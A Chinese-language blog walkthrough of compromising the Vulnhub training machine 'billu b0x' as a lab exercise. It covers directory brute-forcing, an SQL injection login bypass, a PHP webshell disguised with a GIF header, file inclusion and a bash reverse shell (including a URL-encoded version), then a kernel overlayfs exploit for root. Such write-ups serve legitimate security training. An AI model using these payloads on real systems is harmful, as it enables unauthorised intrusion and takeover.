Karry's BlogKarry Space
网络安全

billu b0x 靶场渗透提权(超详细)

2023-10-25 11 min read 约 3,091 字 #攻防

image-20231024201252834

Vulnhub靶机billu b0x的渗透实战记录,每一步都有详细的思路和操作过程

靶机简介

官方下载地址:https://www.vulnhub.com/entry/billu-b0x,188/

image-20231025014413349

目标是获得靶机root权限。话不多说,直接开始:

进行靶机发现与服务发现

  1. 靶机发现

    使用arp-scan -l命令,扫描出局域网上活动主机信息,发现10.0.2.8疑似靶机ip

    image-20231025011725465

  2. 端口扫描

    对10.0.2.8进行端口扫描,使用nmap命令

    nmap -p- --min-rate=1000 10.0.2.8

    image-20231025011743824

    靶机开启了22端口和80端口

  3. 进一步扫描获取服务细节

    nmap -p 22,80 -sV -sC 10.0.2.8

    image-20231025011808646

    web服务是常见的渗透入口,所以从浏览器访问靶机80端口

web渗透

靶机web服务如下

image-20231025011824734

尝试简单的SQL注入,失败。尝试其他方法

image-20231025011839593

路径暴力破解

使用dirsearch工具对靶机web服务进行路径暴力破解

dirsearch -u http://10.0.2.8

image-20231025011854781

image-20231025011903634

找到其中所有状态码为200和302的结果:

[20:16:31] 200 -  307B  - /add.php
[20:16:31] 200 -  307B  - /add
[20:16:41] 200 -    1B  - /c
[20:16:50] 200 -    3KB - /head.php  
[20:16:51] 200 -    1KB - /images/
[20:16:51] 200 -   47KB - /in
[20:16:51] 200 -    3KB - /index
[20:16:51] 200 -    3KB - /index.php
[20:16:58] 302 -    2KB - /panel  ->  index.php                             
[20:16:58] 302 -    2KB - /panel.php  ->  index.php
[20:17:00] 200 -    8KB - /phpmy/
[20:17:05] 200 -    1B  - /show
[20:17:08] 200 -   72B  - /test
[20:17:08] 200 -   72B  - /test.php

寻找可以利用的东西

访问add.php, head.php, index.php, panel.php, test.php后发现,add页面是上传照片,head是登录界面图片,index是登录页面,panel暂时无法访问(可能是登陆后才能访问的页面),test似乎是执行与文件相关的命令

image-20231025011915320

目前test看起来最有用

利用test.php发现漏洞

尝试给url加上参数看能否访问或执行文件。能访问则是文件下载漏洞,能执行则是文件包含漏洞,后者更好利用。我们试试index.php,因为它与登录有关。

给url直接加参数(使用get请求),没有任何结果

image-20231025011925882

尝试改为post请求

使用BurpSuite拦截请求,在Repeater中修改为post请求并发送

image-20231025011934832

发现成功获得了文件内容。说明有文件下载漏洞,同时也排除了文件包含漏洞。

通过改漏洞查看各php文件内容(此处不需要仔细看,后文提及时再回来看)

  • add.php

    <?php
    
    echo '<form  method="post" enctype="multipart/form-data">
        Select image to upload:
        <input type="file" name=image>
    	<input type=text name=name value="name">
    	<input type=text name=address value="address">
    	<input type=text name=id value=1337 >
        <input type="submit" value="upload" name="upload">
    </form>';
    
    ?>
  • index.php

    <?php
    session_start();
    
    include('c.php');
    include('head.php');
    if(@$_SESSION['logged']!=true)
    {
    	$_SESSION['logged']='';
    	
    }
    
    if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
    {
    	
    	echo "you are logged in :)";
    	header('Location: panel.php', true, 302);
    }
    else
    {
    echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
    }
    if(isset($_POST['login']))
    {
    	$uname=str_replace('\'','',urldecode($_POST['un']));
    	$pass=str_replace('\'','',urldecode($_POST['ps']));
    	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    	$result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {
    
    $row = mysqli_fetch_assoc($result);
    	   echo "You are allowed<br>";
    	   $_SESSION['logged']=true;
    	   $_SESSION['admin']=$row['username'];
    	   
    	 header('Location: panel.php', true, 302);
       
    }
    else
    {
    	echo "<script>alert('Try again');</script>";
    }
    	
    }
    echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
    
    ?>
  • head.php

    <?php
    session_start();
    
    include('c.php');
    include('head.php');
    if(@$_SESSION['logged']!=true)
    {
    	$_SESSION['logged']='';
    	
    }
    
    if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
    {
    	
    	echo "you are logged in :)";
    	header('Location: panel.php', true, 302);
    }
    else
    {
    echo '<div align=center style="margin:30px 0px 0px 0px;">
    <font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
    <br><br>
    Show me your SQLI skills <br>
    <form method=post>
    Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
    <input type=submit name=login value="let\'s login">';
    }
    if(isset($_POST['login']))
    {
    	$uname=str_replace('\'','',urldecode($_POST['un']));
    	$pass=str_replace('\'','',urldecode($_POST['ps']));
    	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    	$result = mysqli_query($conn, $run);
    if (mysqli_num_rows($result) > 0) {
    
    $row = mysqli_fetch_assoc($result);
    	   echo "You are allowed<br>";
    	   $_SESSION['logged']=true;
    	   $_SESSION['admin']=$row['username'];
    	   
    	 header('Location: panel.php', true, 302);
       
    }
    else
    {
    	echo "<script>alert('Try again');</script>";
    }
    	
    }
    echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
    
    ?>
  • panel.php

    <?php
    session_start();
    
    include('c.php');
    include('head2.php');
    if(@$_SESSION['logged']!=true )
    {
    		header('Location: index.php', true, 302);
    		exit();
    	
    }
    
    
    
    echo "Welcome to billu b0x ";
    echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
    if(isset($_POST['lg']))
    {
    	unset($_SESSION['logged']);
    	unset($_SESSION['admin']);
    	header('Location: index.php', true, 302);
    }
    echo '<hr><br>';
    
    echo '<form method=post>
    
    <select name=load>
        <option value="show">Show Users</option>
    	<option value="add">Add User</option>
    </select> 
    
     &nbsp<input type=submit name=continue value="continue"></form><br><br>';
    if(isset($_POST['continue']))
    {
    	$dir=getcwd();
    	$choice=str_replace('./','',$_POST['load']);
    	
    	if($choice==='add')
    	{
           		include($dir.'/'.$choice.'.php');
    			die();
    	}
    	
        if($choice==='show')
    	{
            
    		include($dir.'/'.$choice.'.php');
    		die();
    	}
    	else
    	{
    		include($dir.'/'.$_POST['load']);
    	}
    	
    }
    
    
    if(isset($_POST['upload']))
    {
    	
    	$name=mysqli_real_escape_string($conn,$_POST['name']);
    	$address=mysqli_real_escape_string($conn,$_POST['address']);
    	$id=mysqli_real_escape_string($conn,$_POST['id']);
    	
    	if(!empty($_FILES['image']['name']))
    	{
    		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
    	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
    	$image=array('jpeg','jpg','gif','png');
    	if(in_array($r,$image))
    	{
    		$finfo = @new finfo(FILEINFO_MIME); 
    	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
    		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                {
                    if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                     {
                      echo "Uploaded successfully ";
                      $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                     mysqli_query($conn, $update);
    
                    }
                }
            else
            {
                echo "<br>i told you dear, only png,jpg and gif file are allowed";
            }
    	}
    	else
    	{
    		echo "<br>only png,jpg and gif file are allowed";
    		
    	}
    }
    
    
    }
    
    ?>
  • test.php

    <?php
    
    
    function file_download($download)
    {
    	if(file_exists($download))
            {
                header("Content-Description: File Transfer"); 
    
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Accept-Ranges: bytes');
                header('Content-Disposition: attachment; filename="'.basename($download).'"'); 
                header('Content-Length: ' . filesize($download));
                header('Content-Type: application/octet-stream'); 
                ob_clean();
                flush();
                readfile ($download);
            }
            else
            {
            echo "file not found";	
            }
    	
    }
    
    if(isset($_POST['file']))
    {
    file_download($_POST['file']);
    }
    else{
    
    echo '\'file\' parameter is empty. Please provide file path in \'file\' parameter ';
    }

观察index.php,在登录逻辑中发现如下代码:

if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);

与登录有关,解析其中的SQL语句,换成标准格式:

select * from auth where pass='$passwd' and uname='$username'

发现可以使用\将单引号转义,从而实现SQL注入

登录界面输入:

username: or 1=1 # 

password: \

注入成功

image-20231025012005293

寻找漏洞

发现并利用文件上传漏洞

登录后发现有一个上传文件的接口(同时也是/add.php的功能,之前路径暴力破解时找到的):

image-20231025012014665

尝试进行一句话木马文件的上传,即在上传的文件中添加<?php system($_GET["cmd"]);?>内容,看能否执行。

上传一句话木马文件

建立getin.php文件,内容为<?php system($_GET["cmd"]);?>, 尝试直接上传,失败。只允许png, jpg, gif文件

image-20231025012059545

有三种检测可能性:

  1. 检测文件后缀

  2. 检测请求中的Content-Type

  3. 对文件内容检测,需要对内容伪造

我们使用burpsuite拦截请求,依次尝试

  1. 将请求中filename后缀修改为png,再次上传。失败

  2. 将Content-Type修改为:image/png,上传,失败

    image-20231025012118779

  3. 对内容进行伪造,在文件内容开头加上一个图形格式的标记 GIF89a;,再次上传,成功!

    image-20231025012129198

测试是否可以执行命令

上传成功后,点击Show Users,查看html内容,发现上传的文件在uploaded_images/下。

拦截Show Users请求

image-20231025012139515

根据请求体以及panel.php的如下内容:

if($choice==='show')
	{
        
		include($dir.'/'.$choice.'.php');
		die();
	}
else
	{
		include($dir.'/'.$_POST['load']);
	}

可以看出load后的参数是其他的内容,则会直接引用该文件,这为我们执行木马文件提供了机会。

通过burp构建请求:POST /panel.php?cmd=ls HTTP/1.1

请求参数为:load=uploaded_images/getin.png&continue=continue

发送请求,发现成功执行命令

image-20231025012151082

建立反弹shell

将命令修改为echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash,在本机用nc -nvlp 3333监听3333端口。发送请求

但是发现并未成功建立反弹shell。可以想到是因为请求url里有空格导致命令没有被正确传递

考虑使用url16进制编码解决空格的问题。加密后是没有空格的,并且后端会自动解码。先用几个简单的命令进行测试,发现可行。于是对上述命令进行编码,得到结果:

%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68

用该内容替换命令,然后再次发送请求

image-20231025012210380

发现成功建立反弹shell

image-20231025012221926

这里遇到一个问题,编码echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash后发送请求可以成功建立反弹shell。但如果编码bash -i >& /dev/tcp/10.0.2.15/3333 0>&1命令,就无法建立反弹shell。目前还未搞懂是为什么。

命令及其编码如下

echo "bash -i >& /dev/tcp/10.0.2.15/3333 0>&1" | bash
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31%22%20%7c%20%62%61%73%68

bash -i >& /dev/tcp/10.0.2.15/3333 0>&1
%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%32%2e%31%35%2f%33%33%33%33%20%30%3e%26%31

提权

uname -a 命令查看Linux版本

image-20231025012233079

在kali上使用searchsploit查找漏洞(与exploit-db网站上是一样的)

searchsploit Kernel 3.13.0

得到众多结果

image-20231025012243393

从中找到可能有用的,进行尝试。下面这个最可能有用

Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escala | linux/local/37292.c

searchsploit -m 37292 命令将该文件拷贝到当前目录

kali用python开启web服务

image-20231025012255798

用反弹shell在靶机上进入/tmp目录(该目录下所有用户都有写权限,避免权限不足),下载该文件,在靶机上编译并运行(需要靶机上有gcc,刚好该靶机上有)

image-20231025012306742

image-20231025012317474

成功获得root权限!

补充1:建立反弹shell的另一种方式

还有一种方式是使用直接建立反弹shell的php文件

使用Kali Linux的/usr/share/webshells/php/php-reverse-shell.php文件,修改文件中的目标ip为kali的ip,重复文件上传方法(这里将文件名修改为了in.png),上传到靶机上

在kali上监听1234端口 nc -nvlp 1234

拦截Show Users请求,将load行修改为:

load=uploaded_images/in.png&continue=continue

发送请求后,成功建立反弹shell

image-20231025012332625

补充2:美化reverse shell

如果靶机上有python,可以在建立反弹shell后输入python -c "import pty; pty.spawn('/bin/bash')"命令,美化shell。如果有命令终端回显,可以使用stty raw -echo进制回显。

美化前:

image-20231025012342590

美化后:

image-20231025012354359